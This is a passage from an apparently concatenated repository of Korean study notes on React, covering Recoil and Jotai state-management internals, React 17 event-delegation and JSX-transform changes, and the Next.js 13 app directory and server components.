380 | prevLoadableRef.current = newLoadable; 381 | }, 382 | componentName, 383 | ); 384 | 385 | if (storeState.nextTree) { 386 | store.getState().queuedComponentCallbacks_DEPRECATED.push(() => { 387 | prevLoadableRef.current = null; 388 | forceUpdate([]); 389 | }); 390 | } else { 391 | if (!gkx('recoil_suppress_rerender_in_callback')) { 392 | return forceUpdate([]); 393 | } 394 | 395 | const newLoadable = getLoadable(); 396 | //값이 다르면 리렌더링 397 | if (!prevLoadableRef.current?.is(newLoadable)) { 398 | forceUpdate(newLoadable); 399 | } 400 | 401 | prevLoadableRef.current = newLoadable; 402 | } 403 | 404 | //클린업 함수에 구독 해지하는 함수 반환 405 | return subscription.release; 406 | }, [componentName, getLoadable, recoilValue, storeRef]); 407 | ``` 408 | 409 | useEffect를 통해 recoilValue가 변경되었을 때 forceUpdate를 사용해 렌더링을 강제로 일으키는 것을 볼 수 있다. useRecoilState는 useState와 유사하게 값을 가져오고 값을 변경할 수 있는 훅이다. 410 | 411 | 값을 가져오는 부분에는 useRecoilValue를 그대로 사용하고 값을 수정하는 부분은 useSetRecoilState함수를 쓰고 있다. 그럼 useSetRecoilState를 살펴보자. 412 | 413 | ```ts 414 | //useRecoilState 415 | function useRecoilState(recoilState: RecoilState): [T, SetterOrUpdater] { 416 | if (__DEV__) { 417 | validateRecoilValue(recoilState, 'useRecoilState'); 418 | } 419 | 420 | return [ 421 | useRecoilValue(recoilState), 422 | useSetRecoilState(recoilState) 423 | ]; 424 | } 425 | 426 | //useSetRecoilState 427 | 428 | /** 429 | * RecoilState의 값을 업데이트할 수 있는 함수를 반환하지만, 430 | * 해당 RecoilState의 변경 사항을 구독하게 하지는 않습니다. 431 | */ 432 | function useSetRecoilState(recoilState: RecoilState): SetterOrUpdater { 433 | 434 | // Recoil 상태 저장소에 대한 참조를 가져옵니다. 435 | const storeRef = useStoreRef(); 436 | 437 | // RecoilState 값을 설정하는 함수를 반환합니다. 438 | return useCallback( 439 | // 이 함수는 새 값 또는 업데이터 함수를 인자로 받습니다. 440 | (newValueOrUpdater: (T => T | DefaultValue) | T | DefaultValue) => { 441 | // setRecoilValue를 사용하여 RecoilState 값을 설정합니다. 442 | setRecoilValue(storeRef.current, recoilState, newValueOrUpdater); 443 | }, 444 | // useCallback의 종속성 배열입니다. storeRef 혹은 recoilState가 변경될 때마다 새로운 콜백 함수를 생성합니다. 445 | [storeRef, recoilState], 446 | ); 447 | } 448 | 449 | ``` 450 | 지금까지 본 Recoil을 정리해보면 다음과 같다. 애플리케이션에서 RecoilRoot를 선언해 하나의 스토어를 만들고, atom이라는 고유한 상태 단위를 RecoilRoot에서 만든 스토어에 등록한다. 그리고 컴포넌트는 recoil의 훅을 통해 atom을 구독하고 상태가 변경되면 forceUpdate등을 통해 리렌더링을 하고 최신의 값을 가져온다. 451 | 452 | ### Jotai 453 | 454 | ![](https://velog.velcdn.com/images/deli-ght/post/c5a373d8-678a-489d-abe2-793c45965b6e/image.png) 455 | 456 | Jotai는 recoil과 비슷하게 리덕스와 같이 하나의 큰 상태를 애플리케이션에 내려주는 방식이 아닌, 작은 단위의 상태를 위로 전파할 수 있는 구조를 갖고 있다. 또 리액트 Context의 불필요한 리렌더링이 일어나는 문제를 해결하고자 설계되었으며 최적화를 거치지 않아도 리렌더링이 발생하지 않도록 설계되어 있다. 457 | 458 | atom은 recoil과 마찬가지로 최소 단위의 상태를 의미한다. 또한 atom으로 파생된 상태도 만들 수 있다. 459 | 460 | ```ts 461 | export interface Atom { 462 | toString: () => string 463 | read: Read 464 | unstable_is?(a: Atom): boolean 465 | debugLabel?: string 466 | /** 467 | * To ONLY be used by Jotai libraries to mark atoms as private. Subject to change. 468 | * @private 469 | */ 470 | debugPrivate?: boolean 471 | } 472 | 473 | export function atom( 474 | read: Value | Read>, 475 | write?: Write, 476 | ) { 477 | const key = `atom${++keyCount}` 478 | const config = { 479 | toString: () => key, 480 | } as WritableAtom & { init?: Value } 481 | if (typeof read === 'function') { 482 | config.read = read as Read> 483 | } else { 484 | config.init = read 485 | config.read = defaultRead 486 | config.write = defaultWrite as unknown as Write 487 | } 488 | if (write) { 489 | config.write = write 490 | } 491 | return config 492 | } 493 | ``` 494 | recoil과는 다르게 key를 넘기지 않아도 된다. 그리고 config을 반환하는데 이 config객체안에는 초기값의 init, 값을 읽는 read, 값을 쓰는 write프로퍼티가 존재한다. 그럼 atom은 어디서 저장되는 것일까? 결론은 recoil과는 다르게 store에 atom 객체 그 자체를 키로 활용해 값을 저장한다. 이 때 weakMap이라는 방식의 Map을 사용한다. 495 | 496 | WeakMap은 JavaScript의 내장 객체로, 객체를 키로 사용할 수 있는 특별한 종류의 Map입니다. WeakMap의 키로 사용되는 객체는 가비지 콜렉션(GC)에 영향을 받지 않습니다. 즉, WeakMap이 키를 강하게 참조하지 않으므로, 키로 사용되는 객체가 메모리에서 제거되어야 할 때 해당 객체는 메모리에서 제거될 수 있습니다. 497 | 498 | 이러한 특성은 WeakMap이 '키'로 사용되는 객체가 여전히 존재하는 동안에만 '값'을 유지해야 하는 경우에 유용합니다. 만약 '키' 객체가 메모리에서 제거되면, '키'와 관련된 '값'도 자동으로 제거되므로 메모리 누수를 방지할 수 있습니다. 499 | 500 | ```ts 501 | export const createStore = () => { 502 | const atomStateMap = new WeakMap() 503 | //... 504 | } 505 | ``` 506 | 507 | useAtom은 useState와 동일한 형태의 배열을 반환한다. 첫번째는 atom의 현재 값을 나타내는 결과이고 두번쨰는 useSetAtom훅을 반환하는데, 이 훅은 atom을 수정할 수 있는 기능을 제공한다. 508 | 509 | ```ts 510 | //useAtom.ts 511 | export function useAtom( 512 | atom: Atom | WritableAtom, 513 | options?: Options, 514 | ) { 515 | return [ 516 | useAtomValue(atom, options), 517 | // We do wrong type assertion here, which results in throwing an error. 518 | useSetAtom(atom as WritableAtom, options), 519 | ] 520 | } 521 | 522 | //useSetAtom.ts 523 | 524 | //스토어에서 atom을 찾아서 직접 값을 업데이트한다. 525 | export function useSetAtom( 526 | atom: WritableAtom, 527 | options?: Options, 528 | ) { 529 | const store = useStore(options) 530 | const setAtom = useCallback( 531 | (...args: Args) => { 532 | if (import.meta.env?.MODE !== 'production' && !('write' in atom)) { 533 | // useAtom can pass non writable atom with wrong type assertion, 534 | // so we should check here. 535 | throw new Error('not writable atom') 536 | } 537 | return store.set(atom, ...args) 538 | }, 539 | [store, atom], 540 | ) 541 | return setAtom 542 | } 543 | ``` 544 | 545 | Jotai는 결국 객체의 참조를 WeakMap에 보관하고 객체 자체가 변경되지 않는 한 별도의 키 없이도 객체의 참조를 유지하고 값을 관리할 수 있다. 546 | 547 | ### Zustand 548 | 549 | [Zustand알아보기](https://ui.toast.com/weekly-pick/ko_20210812) 550 | -------------------------------------------------------------------------------- /[10장] 리액트 17과 18의 변경 사항 살펴보기/효리.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크](https://artistic-roadrunner-94f.notion.site/10-17-18-c108ab77dc164de7a8b767594ca298f4?pvs=4) 2 | 3 | (1) 10.1 추가 4 | 5 | (2) 10.2 추가 6 | -------------------------------------------------------------------------------- /[10장] 리액트 17과 18의 변경 사항 살펴보기/효중.md: -------------------------------------------------------------------------------- 1 | ## 리액트 17버전 2 | 3 | 리액트 17은 새로운 기능을 추가한 것이 아니라, 기존의 리액트를 더 편리하고 안정적으로 사용할 수 있게 업그레이드한 것이다! 4 | 5 | "Event Delegation"이라는 개념을 도입하였다. 이는 이벤트 리스너를 루트 노드가 아닌 개별 DOM 노드에 붙이는 방식인데, 이를 통해 한 애플리케이션에서 여러 버전의 리액트를 동시에 사용할 수 있게 되었다. 이전 버전에서는 이런 방식을 사용하는 것이 어려웠는데, 이벤트 핸들링 시스템의 차이로 인해 여러 버전의 리액트가 함께 동작하는 것이 어려웠다. 6 | 7 | 하지만 리액트 17은 이를 개선하여, 한 애플리케이션 내에서 리액트 16과 리액트 17이 동시에 동작하는 것을 가능하게 하였다. 이는 점진적으로 업그레이드를 진행하거나, 레거시 프로젝트에서 새로운 리액트 버전을 도입하는 데 큰 도움이 될 수 있다! 8 | 9 | 그러나 한 애플리케이션에서 동시에 여러 버전의 리액트를 사용하는 것은 임시방편일 뿐이라고 할 수 있다. 가능한 한 하나의 리액트 버전을 사용하는 것이 좋다고 권장하고 있다. 이는 코드의 일관성과 유지보수의 편의성을 위한 것이다. 10 | 11 | 리액트 17은 크게 보면 "업데이트를 위한 업데이트"라고 할 수 있다. 즉, 이후에 더 큰 변화를 위한 준비 단계라고 볼 수 있다. 이를 통해 리액트 팀은 사용자가 더 쉽게 업데이트를 진행할 수 있도록 도와주려는 의도를 보여주고 있다. 12 | 13 | ## 이벤트 위임 방식의 변경 14 | 15 | 리액트에서 먼저 이벤트가 어떻게 추가되는지를 보자! 16 | 17 | ```tsx 18 | export default function Button() { 19 | const buttonRef = useRef(null) 20 | 21 | useEffect(() => { 22 | if(buttonRef.current) { 23 | buttonRef.current.onClick = function click(){ 24 | alert('안녕하세요!') 25 | } 26 | } 27 | },[]) 28 | 29 | function 안녕(){ 30 | alert('안녕!') 31 | } 32 | 33 | return ( 34 | <> 35 | 36 | 37 | 38 | ) 39 | } 40 | ``` 41 | 42 | 리액트 버튼은 일반적으로 리액트 애플리케이션에서 DOM에 이벤트를 추가하는 방식으로 이벤트를 넣고, 버튼의 이벤트는 직접 DOM을 참조해서 가져온다음 DOM에 onClick을 직접 함수로 추가했다. 이 두 방식은 어떻게 차이가 날까? 43 | 44 | 직접 DOM을 참조해서 가져온다음 DOM에 onClick을 추가한 버튼의 경우 onClick 이벤트에 noop이라는 핸들러가 추가되어 있다. 리액트는 이벤트 핸들러를 해당 이벤트 핸들러를 추가한 각각의 DOM 요소에 부착하는 것이 아니라, 이벤트 타입(click,change)당 하나의 이벤트 핸들러를 루트에 부착한다. 즉 이벤트 위임 방식으로 이벤트를 추가한다. 45 | 46 | 이벤트는 크게 3가지 단계로 구성되어 있다. 47 | 48 | - 캡쳐 : 이벤트 핸들러가 트리의 최상단에서 실제 이벤트가 발생한 타겟 요소까지 내려온다. 49 | - 타깃 : 이벤트 핸들러가 타깃 노드에 도달한다. 이 때 이벤트가 호출된다. 50 | - 버블링 : 이벤트가 발생한 요소에서부터 최상위까지 타고 올라간다. 51 | 52 | 이벤트 위임은 이런 이벤트의 원리를 이용해 이벤트를 상위 컴포넌트에만 붙이는 것이다. 53 | 54 | ![](https://dmitripavlutin.com/javascript-event-delegation/cover.png) 55 | 56 | ```tsx 57 |
      58 |
    • 59 |
    • 60 |
    • 61 |
    • 62 |
    • 63 |
    64 | 65 | //각 li에 모두 이벤트를 다는 것보다 ul에만 이벤트를 달아서 이벤트를 위임한다. 66 | //매번 똑같은 이벤트 핸들러를 달지 않아도 되고 이벤트 추가를 한번만 하면 된다. 67 | ``` 68 | 69 | 이런 이벤트 위임은 모두 리액트 16버전까지 document에서 수행되고 있었다. 70 | 71 | ```tsx 72 | export default function App(){ 73 | function 안녕하세요(){ 74 | alert('안녕하세요!') 75 | } 76 | return 77 | } 78 | 79 | ReactDOM.render(, document.getElementById('root')) 80 | ``` 81 | 82 | 그러나 17버전부터 이벤트 위임이 모두 document가 아닌 리액트 컴포넌트의 최상단 루트 요소로 바뀌었다. 이런 변화는 점진적인 업그레이드 지원하기 위해서다. 만약 16버전의 방식대로 모든 이벤트가 document에 달려있으면 어떻게 될까? 만약 다음과 같이 렌더링되는 리액트 코드가 있다고 생각해보자~! 83 | 84 | ```html 85 | 86 | 87 |
    88 |
    89 |
    90 | 91 | 92 | ``` 93 | 이 상황에서 react-16-8컴포넌트가 이벤트 전파를 막는 e.stopPropagation을 실행하면 어떻게 될까? 이미 모든 이벤트가 document로 부착되어 올라가 있는 상태이기 때문에 이 함수가 효과가 없어진다. 따라서 document로 이벤트가 무조건 전파된다. 따라서 react-16-14컴포넌트가 이 발생된 이벤트를 전달받게 된다. 이런 문제를 해결하기 위해 이벤트 위임의 대상을 컴포넌트의 최상위로 변경했다. 94 | 95 | ```tsx 96 | export default function App() { 97 | useEffect(() => { 98 | document.addEventListener('click',(e) => { 99 | console.log('이벤트가 document까지 올라감') 100 | },[]) 101 | },[]) 102 | 103 | function 안녕(e:MouseEvent){ 104 | e.stopPropagation() 105 | alert('안녕!') 106 | } 107 | return 108 | } 109 | 110 | ReactDOM.render(,document.getElementById('root')) 111 | ``` 112 | 113 | 리액트 16에는 모든 이벤트가 document에 달려있으므로 stopPropagation이 의미가 없지만 17에서는 컴포넌트의 루트에 달려있으므로 document에 부착된 이벤트를 볼 수 없을 것이다(콘솔이 안 찍힐 것이다.) 114 | 115 | ## 새로운 JSX Transform 116 | 117 | JSX는 브라우저가 이해를 할 수 없으므로 바벨이나 타입스크립트를 통해 JSX를 실행하기 위해서는 자바스크립트로 변환하는 과정이 필요하다. 16버전까지는 이런 JSX 변환을 사용하기 위해 React를 사용하는 구문이 없더라도 import React가 필요했고, 이 코드가 없으면 에러가 발생했다. 그러나 17부터 바벨과 협력해 이러한 구문이 없어도 JSX를 반환할 수 있게 되었다. 이 변화는 불필요한 import를 지워주는 역할도 한다. 118 | 119 | 구 버전에서 JSX는 이렇게 반환되었다. 120 | 121 | ```tsx 122 | const Component = ( 123 |
    124 | hello world 125 |
    126 | ) 127 | 128 | //16버전 129 | var Component = React.createElement('div',null,React.createElement('span',null,'hello world')) 130 | ``` 131 | React.createElement을 할 때 import React가 필요하기 떄문에 해당 구문이 필요했다. 그러나 17버전부터는 다음과 같이 변경되었다. 132 | 133 | ```tsx 134 | 'use strict' 135 | 136 | var __jsxRuntime = require('react/jsx-runtime') 137 | 138 | var Component = (0,__jsxRuntime.jsx)('div',{ 139 | children:(0,__jsxRuntime.jsx)('span',{ 140 | children:'hello world' 141 | }) 142 | }) 143 | ``` 144 | 145 | 가장 큰 변경점은 React.createElement가 사라지고 require구문이 생겼다. 이제 JSX를 변환할 때 react/jsx-runtime을 불러오는 require구문이 추가되어서 import React를 적지 않아도 된다. 146 | 147 | 그 많던 import구문은 어디간걸까?? 148 | 149 | ## 이벤트 풀링 제거 150 | 151 | 16버전에는 있던 풀링 기능이 제거되었다. 이벤트를 처리하기 위한 SyntheticEvent가 있었고 이 이벤트는 브라우저의 이벤트를 한번 감싼 이벤트이다. 브라우저의 이벤트가 아닌 한번 더 감싼 이벤트를 사용하기 떄문에 메모리 누수와 같은 부작용이 있었다. 기본적으로 이벤트 풀링 시스템에서는 다음과 같이 이벤트가 발생한다. 152 | 153 | 이벤트 풀링이란 SyntheticEvent 풀을 만들어서 이벤트가 발생할 때마다 가져오는 것을 의미한다! 154 | 155 | - 이벤트 핸들러가 이벤트를 발생시킨다. 156 | - 합성 이벤트 풀에서 합성 이벤트 객체에 대한 참조를 가져온다,. 157 | - 이 이벤트 정보를 합성 이벤트 객체에 넣는다. 158 | - 유저가 지정한 이벤트 리스너가 실행된다. 159 | - 이벤트 객체가 초기화되고 이벤트 풀로 돌아간다. 160 | 161 | 이로 인해 비동기 코드로 이벤트 핸들러에 접근하기 위해 `e.persist()` 같은 문법을 사용해야 했다. 별도 메모리 공간이 필요한 점, 모던 브라우저에서는 성능 향상에 크게 도움이 안된다는 점 때문에 이러한 풀링 개념을 삭제하게 되었다! 162 | 163 | ## useEffect 클린업 함수 164 | 165 | useEffect의 클린업 함수는 16버전까지는 동기적으로 처리되었다. 동기적이기 때문에 클린업 함수가 완료되기 전까지는 다른 작업을 방해할 수 있었고 성능 저하로 이어질 수 있었다. 17부터는 클린업 함수가 컴포넌트의 커밋단계가 완료될때까지 지연된다. 166 | 167 | ![](https://www.moonkorea.dev/_next/image?url=%2Fassets%2Fmarkdown-image%2FReact-%25EB%25A0%258C%25EB%258D%2594%25EB%258B%25A8%25EA%25B3%2584-%25EC%25BB%25A4%25EB%25B0%258B%25EB%258B%25A8%25EA%25B3%2584%2F%25EB%25A0%258C%25EB%258D%2594-%25EC%25BB%25A4%25EB%25B0%258B.png&w=828&q=100) 168 | -------------------------------------------------------------------------------- /[11장] Next.js 13과 리액트 18/주하.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크 11.1 ~ 11.3](https://selective-scarer-9c2.notion.site/11-Next-js-13-18-ef610146a4834ef1970fededf9fd0be3?pvs=4) 2 |
    3 | 🔗 [노션 링크 11.4 ~ 11.8](https://selective-scarer-9c2.notion.site/11-Next-js-13-18-2-6e87424ac7e64be4b0188b98d7176f07?pvs=4) 4 | 5 | (1) 11.1 ~ 11.3 추가 6 | (2) 11.4 ~ 11.8 추가 7 | -------------------------------------------------------------------------------- /[11장] Next.js 13과 리액트 18/효리.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크](https://artistic-roadrunner-94f.notion.site/11-Next-js-13-18-6e0ebe67219b43e4a75afce7e685e62e?pvs=4) 2 | 3 | (1) 11.1 ~ 11.3 추가 4 | 5 | (2) 11.4 ~ 11.8 추가 6 | -------------------------------------------------------------------------------- /[11장] Next.js 13과 리액트 18/효중.md: -------------------------------------------------------------------------------- 1 | 2 | ## App 디렉토리 3 | 4 | 13버전 이전까지 Next에서 페이지 공통으로 쓰이는 헤더나 푸터를 같이 넣을 수 있는 곳은 _document나 _app이 유일했다. 그리고 이 두 파일은 서로 다른 목적을 갖고 있었다. 12버전까지는 무언가 페이지 공통 레이아웃을 유지할 수 있는 방법은 _app이 유일해다. 5 | 6 | - _document : 페이지에서 쓰이는 html이나 body태그를 수정하거나 서버 사이드 렌더링 시 CSS-in_JS르 지원하기 위한 코드를 삽입하는 제한적은 용도로 사용된다. 오직 서버에서만 동작한다. 7 | 8 | _ app : 페이지를 초기화하기 위한 파일이고, globalCSS 주입, 전역 에러 핸들링, 페이지 변경 시 강태 유지 등과 같은 역할을 한다. 9 | 10 | 이러한 한계를 극복하기 위해 app 레이아웃이 등장한다. 11 | 12 | ## 라우팅 13 | 14 | 먼저 눈에 뜨이는 변화는 /pages로 정의하던 라우팅 방식이 /app로 바뀌었다는 점, 파일명으로 라우팅하는 것이 불가능해졌다는 것이다. Next에서 라우팅은 파일 시스템을 기반으로 하고 있으며 Next가 나온 뒤 쭉 유지된 방식이다. pages나 app은 다음과 같은 차이가 있다. 15 | 16 | - 12버전 이하 : pages/a/b.tsx이나 pages/a/b/index.tsx는 모두 동일한 주소다. 17 | 18 | - 13버전 : app/a/b는 a/b/로 변환되며 파일명은 무시된다. 폴더명까지 주소로서 유효하다. 19 | 20 | 13버전부터는 app 디렉토리 내부의 폴더명이 라우팅이 되며 파일명은 몇가지로 제한되어 있다. 그중 하나가 layout이다. 이 파일은 페이지의 기본적인 레이아웃 요소를 구성하는 부분이다. 해당 폴더에 layout이 있으면 하위 폴더,주소에 모두 영향을 미친다. 21 | 22 | ```tsx 23 | /app/layout.tsx 24 | 25 | export default function RootLayout({children} : {children:React.ReactNode}) { 26 | 27 | 28 |
    {children}
    29 | 30 | 31 | } 32 | ``` 33 | 먼저 루트에는 단 하나의 layout을 만들 수 있다. 이 layout은 모든 페이지에 공통적으로 영향을 미치는 파일이다. 보통 head,html태그 내부에서 사용되는 공통 요소들을 다룬다. _document가 없어지면서 루트의 레이아웃에서 CSS-IN-JS를 넣어준다. 34 | 35 | ```tsx 36 | 'use client'; 37 | 38 | import { useState } from 'react'; 39 | 40 | import { useServerInsertedHTML } from 'next/navigation'; 41 | import { ServerStyleSheet, StyleSheetManager } from 'styled-components'; 42 | 43 | export default function StyledComponentsRegistry({ 44 | children, 45 | }: { 46 | children: React.ReactNode; 47 | }) { 48 | const [styledComponentsStyleSheet] = useState(() => new ServerStyleSheet()); 49 | 50 | useServerInsertedHTML(() => { 51 | const styles = styledComponentsStyleSheet.getStyleElement(); 52 | styledComponentsStyleSheet.instance.clearTag(); 53 | return <>{styles}; 54 | }); 55 | 56 | if (typeof window !== 'undefined') return <>{children}; 57 | 58 | return ( 59 | 60 | {children} 61 | 62 | ); 63 | } 64 | ``` 65 | 66 | layout파일에서 주의해야 할 점은 다음과 같다. 67 | 68 | - layout은 무조건 app 디렉토리에서만 쓸 수 있다. layout.js | ts | tsx | jsx로 사용해야 하며 레이아웃 이외의 용도로는 쓸 수 없다. 69 | - layout은 children을 받아서 렌더링 해야 한다. 레이아웃이므로 당연히 그려야 할 컴포넌트를 외부에서 주입하고 그려야 한다. 70 | - layout 내부에는 반드시 export default로 내보내는 컴포넌트가 있어야 한다. 71 | - layout 내부에서도 비동기 요청을 처리할 수 있다. 72 | 73 | layout과 마찬가지로 page도 예약어이며 이전까지 Next에서 일반적으로 다뤘던 페이지를 의미한다. 74 | 75 | ```tsx 76 | export default function BlogPage() { 77 | return <>블로그 글 78 | } 79 | ``` 80 | 이 page는 앞에서 구성된 layout을 기반으로 리액트 컴포넌트를 노출하기 된다. 요기서는 다음과 같은 props를 받을 수 있다. 81 | 82 | - params : 옵셔널 값으로 [...id]와 같은 동적 라우트 파라미터를 사용할 경우 해당 파라미터에 값이 들어간다. 83 | - searchParams : ?a=1&b=21로 접근할 경우 {a:1,b:21}이라는 자바스크립트 객체 값이 들어오게 된다. searchParams에 의존적인 작업은 반드시 page 내부에서만 수행해야 한다. 84 | 85 | page도 마찬가지로 다음과 같은 규칙이 있다. 86 | 87 | - page도 app 디렉토리 내부의 예약어이다.레이아웃 이외의 목적으로 사용할 수 없다. 88 | - page도 반드시 export default로 내보내는 컴포넌트가 있어야 한다. 89 | 90 | error.js은 해당 라우팅 영역에서 사용되는 공통 에러 컴포넌트이다. 이것을 사용하면 특정 라우팅별 다른 UI를 렌더링하는 것이 가능해진다. 91 | 92 | ```tsx 93 | 'use client' // Error components must be Client Components 94 | 95 | import { useEffect } from 'react' 96 | 97 | export default function Error({ 98 | error, 99 | reset, 100 | }: { 101 | error: Error & { digest?: string } 102 | reset: () => void 103 | }) { 104 | useEffect(() => { 105 | // Log the error to an error reporting service 106 | console.error(error) 107 | }, [error]) 108 | 109 | return ( 110 |
    111 |

    Something went wrong!

    112 | 120 |
    121 | ) 122 | } 123 | ``` 124 | 125 | ![](https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHlcJY%2Fbtsb5lffjTY%2FnKl46RxC5mKGkzu0bb6KT0%2Fimg.webp) 126 | 127 | error 페이지는 에러 정보를 담고 있는 error 객체와 에러 바운더리를 초기화할 reset을 props로 받는다. 이 에러바운더리는 클라이언트에서만 적용된다. 128 | 129 | error.js는 중첩된 자식 세그먼트 또는 page.js 컴포넌트를 감싸는 React Error Boundary를 자동으로 생성한다. error.js 파일에서 내보낸 React 컴포넌트가 폴백 컴포넌트로 사용된다. Error Boundary 내에서 에러가 발생하면 에러가 포함되고 fallback 컴포넌트가 렌더링된다. fallback error 컴포넌트가 활성화되면 Error Boundary 위의 레이아웃은 해당 상태를 유지하고 대화형 상태를 유지하며 Error 컴포넌트는 오류를 복구하는 기능을 표시할 수 있다. 130 | 131 | ![](https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBxtGh%2FbtscwohcUIC%2FLibwSh3R95XVyl6jzHzTik%2Fimg.webp) 132 | 133 | 134 | 루트 app/error.js boundary는 루트 app/layout.js 또는 app/template.js 컴포넌트에서 발생한 오류를 포착하지 못한다. 135 | 136 | 이러한 루트 컴포넌트의 에러를 구체적으로 처리하려면 루트 앱 디렉터리에 있는 app/global-error.js라는 error.js를 사용한다. 137 | 138 | 루트 error.js와 달리 global-error.js Error boundary는 전체 애플리케이션을 감싸며, 해당 fallback 컴포넌트가 활성화되면 루트 레이아웃을 대체합니다. 따라서 global-error.js는 자체 및 태그를 정의해야 한다 139 | 140 | global-error.js는 가장 세분화된 에러 UI이며 전체 애플리케이션에 대한 "포괄적인" 에러처리로 간주할 수 있다. 루트 컴포넌트는 일반적으로 덜 동적이며 다른 error.js boundary가 대부분의 에러를 포착하므로 자주 트리거되지 않을 가능성이 높다. 141 | 142 | global-error.js가 정의되어 있더라도 전역적으로 공유되는 UI 및 브랜딩을 포함하는 루트 레이아웃 내에서 렌더링될 fallback 컴포넌트가 있는 루트 error.js를 정의하는 것이 좋다. 143 | 144 | ```tsx 145 | // app/global-error.tsx 146 | 'use client'; 147 | 148 | export default function GlobalError({ 149 | error, 150 | reset, 151 | }: { 152 | error: Error; 153 | reset: () => void; 154 | }) { 155 | return ( 156 | 157 | 158 |

    Something went wrong!

    159 | 160 | 161 | 162 | ); 163 | } 164 | ``` 165 | 166 | 데이터를 불러오는 중일때나 서버 컴포넌트 내부에서 에러가 발생하면 Next.js는 결과인 Error 객체를 error prop으로 가장 가까운 error.js 파일로 전달한다. 다음 개발을 실행할 때 에러는 직렬화되어 서버 컴포넌트에서 클라이언트 error.js로 전달한다. 167 | 168 | app 디렉토리가 출시되면서 pages/api와 동일하게 app/api를 기준으로 디렉토리 라우팅을 지원하며 /api 내부에서도 파일명 라우팅이 없어졌다. 그 대신 디렉토리가 라우팅 주소를 담당하며 파일명은 route.js로 통일되었다. 169 | 170 | ```ts 171 | /app/api/hello/route.ts 172 | 173 | import {NextRequest} from 'next/server' 174 | 175 | export async function GET(req:Request) { 176 | 177 | } 178 | 179 | 180 | export async function POST(req:Request) { 181 | 182 | } 183 | 184 | 185 | export async function PUT(req:Request) { 186 | 187 | } 188 | 189 | 190 | export async function PATCH(req:Request) { 191 | 192 | } 193 | 194 | 195 | export async function DELETE(req:Request) { 196 | 197 | } 198 | ``` 199 | 이 route.ts 내부의 REST API의 GET,POST와 같은 메서드를 예약어로 선언하면 HTTP요청에 맞게 해당 메서드를 호출하는 방식으로 동작한다.이 route함수들은 다음의 props를 받는다. 200 | 201 | - request : api요청과 관련된 cookie,headers 뿐만 아니라 nextURL등의 주소 등 요청에 들어온 정보를 볼 수 있다. 202 | - context : params를 갖는 객체이며 동적 라우팅 파라미터 객체가 들어 있다. 203 | 204 | ## 서버 컴포넌트 205 | 206 | 리액트 18에서 도입된 서버 컴포넌트는 서버 사이드 렌더링과 전혀 다른 개념이다. 207 | 208 | 먼저 서버 사이드 렌더링은 응답받은 페이지 전체를 HTML로 렌더링하는 과정을 서버에서 수행한 후 클라이언트로 내려준다. 그리고 이후 클라이언트에서 하이드레이션 과정을 거쳐 서버의 결과물을 확인하고 이벤트를 붙이는 등의 작업을 수행한다. 209 | 210 | 서버 사이드 렌더링은 초기 인터렉션은 불가능하나 정적인 HTML을 빠르게 내려주는 데 초점을 두고 있다. 초기 정적 HTML을 받고 클라이언트에서 번들을 다운하고 실행하는데 비용이 든다. 211 | 212 | 웹 사이트를 방문하면 리액트 실행에 필요한 패키지를 다운받고 컴포넌트 트리를 만들고 DOM에 렌더링한다. 서버 사이드 렌더링을 할 때에는 서버에서 DOM을 만들고 클라이언트에서 Hydrate를 걸쳐 이벤트를 DOM에 추가하기도 하고, 상태를 추적할 수도 있다. 213 | 214 | 이러한 구조는 크게 다음의 문제가 존재할 수 있다. 215 | 216 | - 번들 크기가 0인 컴포넌트를 만들 수 없다. 만약 외부에서 설치한 패키지를 쓸 때 해당 패키지 크기가 크다면, 해당 패키지를 사용자 환경에 의존해 다운받고 실행까지 거쳐야 한다. 217 | - 백엔드 리소스에 대한 직접적인 접근이 불가능하다. 218 | - 자동 코드 분할이 불가능하다. 일반적으로 리액트에서는 lazy를 이용해 자동 코드 분할을 구현해왔다. React.lazy를 이용해 수동 분할할 수 있지만, 개발자가 일일이 이를 기억해야 한다. 219 | 220 | ```tsx 221 | 222 | const RouterA = lazy(() => import('./RouterA.ts')) 223 | const RouterB = lazy(() => import('./RouterB.ts')) 224 | 225 | const RouterC = (props) => { 226 | 227 | } 228 | ``` 229 | 230 | 이런 배경으로 인해 서버 컴포넌트가 등장한다. 서버 컴포넌트는 하나의 언어 , 하나의 프레임워크, 하나의 API와 개념을 사용하면서 서버와 클라이언트 모두에서 컴포넌트를 렌더링하는 기법을 말한다. 231 | 232 | 서버에서 할 수 있는 일은 서버가 처리하고 서버가 할 수 없는 나머지 작업은 클라이언트인 브라우저에서 수행한다. 즉 일부 컴포넌트는 클라이언트에서, 일부 컴포넌트는 서버에서 렌더링되는 것이다. 여기서 클라이언트 컴포넌트는 서버 컴포넌트를 import로 가져올 수 없다. 그 반대는 가능하다. 233 | 234 | ![](https://www.plasmic.app/blog/static/images/react-server-components.png) 235 | 236 | 서버 컴포넌트 237 | 238 | - 요청이 오면 그 순간 서버에서 한번 실행되므로 상태를 가질 수 없다. useState과 같은 훅을 사용할 수 없다. 239 | - 렌더링 생명주기를 사용할 수 없다. 240 | - effect나 state에 의존하는 훅을 사용할 수 없다. 241 | - window,document에 접근할 수 없다. 242 | - 데이터베이스 파일 시스템 등 서버에 있는 데이터를 async , await로 접근할 수 있다. 243 | - 다른 서버컴포넌트나, 클라이언트 컴포넌트를 렌더링할 수 있다. 244 | 245 | 리액트는 모든 컴포넌트를 다 서버에서 실행 가능한 것으로 판단한다. 대신 클라이언트 컴포넌트라는 것을 명시적으로 적으려면 'use client'를 적어주면 된다. 246 | 247 | ```tsx 248 | 'use client' 249 | 250 | import OtherClientComponent from './OtherClientComponent' 251 | 252 | function ClientComponent(){ 253 | const [state,setState] = useState(false) 254 | return setState(true)} /> 255 | } 256 | ``` 257 | 258 | ## 서버 컴포넌트는 어떻게 동작하는지? 259 | 260 | - 서버가 렌더링 요청을 받는다. 서버가 렌더링 과정을 수행해야 하므로 리액트 서버 컴포넌트를 사용하는 모든 페이지는 항상 서버에서 시작된다. 261 | - 서버는 받은 요청에 따라 컴포넌트를 JSON으로 직렬화한다. 서버에서 렌더링하는 것은 직렬화 해 내보내고 클라이언트 컴포넌트는 해당 공간을 잠시 비워둔다(플레이스 홀더로 대체한다.) 이후 브라우저가 결과물을 